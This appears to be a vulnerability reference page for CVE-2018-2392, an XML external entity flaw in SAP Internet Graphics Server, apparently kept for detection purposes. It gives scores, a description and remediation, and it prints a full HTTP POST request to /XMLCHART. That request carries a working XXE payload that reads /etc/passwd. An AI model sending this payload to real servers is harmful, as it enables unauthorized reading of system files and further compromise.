🔙 목록으로 돌아가기

CVE-2018-2392: SAP Internet Graphics Server (IGS) - XML External Entity Injection

TitleSAP Internet Graphics Server (IGS) - XML External Entity Injection
Author_generic_human_
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive information or a complete system compromise.
RemediationApply the latest security patches and updates provided by SAP to mitigate this vulnerability. Additionally, ensure that the SAP Internet Graphics Server (IGS) is not exposed to untrusted networks or the internet.
CVSS Score7.5
EPSS Score0.86959
CVE IDCVE-2018-2392
CWE IDCWE-611
Tags cve cve2018 sap igs xxe xmlchart msf intrusive vkev vuln

🔍 Vulnerability Description

SAP Internet Graphics Servers (IGS) running versions 7.20, 7.20EXT, 7.45, 7.49, or 7.53 has two XML external entity injection (XXE) vulnerabilities within the XMLCHART page - CVE-2018-2392 and CVE-2018-2393. These vulnerabilities occur due to a lack of appropriate validation on the Extension HTML tag when submitting a POST request to the XMLCHART page to generate a new chart.

🌐 HTTP Request

POST /XMLCHART HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Connection: close
Content-Length: 1023
Content-Type: multipart/form-data; boundary=38Fd7SC6q6kcuNmxwSIyTlUlAGy
Accept-Encoding: gzip

--38Fd7SC6q6kcuNmxwSIyTlUlAGy

Content-Disposition: form-data; name="38Fd7Rs25Lx45uPQXCNJs67h7yL"; filename="38Fd7RjyGttLWVlyJNJ84tyaYy1.xml"

Content-Type: application/xml



<?xml version='1.0' encoding='UTF-8'?>

    <ChartData>

      <Categories>

        <Category>ALttP</Category>

      </Categories>

      <Series label="38Fd7S2Y4jIR51mmwo8sTsjAth3">

        <Point>

          <Value type="y">12345</Value>

        </Point>

      </Series>

    </ChartData>

--38Fd7SC6q6kcuNmxwSIyTlUlAGy

Content-Disposition: form-data; name="38Fd7LT1hpzaNHHlvqc2JeF0mcM"; filename="38Fd7L9gnNDv070ziRJgAZqhKv0.xml"

Content-Type: application/xml



<?xml version='1.0' encoding='UTF-8'?>

    <!DOCTYPE Extension [<!ENTITY xxe SYSTEM "/etc/passwd">]>

    <SAPChartCustomizing version="1.1">

      <Elements>

        <ChartElements>

          <Title>

            <Extension>&xxe;</Extension>

          </Title>

        </ChartElements>

      </Elements>

    </SAPChartCustomizing>

--38Fd7SC6q6kcuNmxwSIyTlUlAGy--

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-2392.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-2392.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A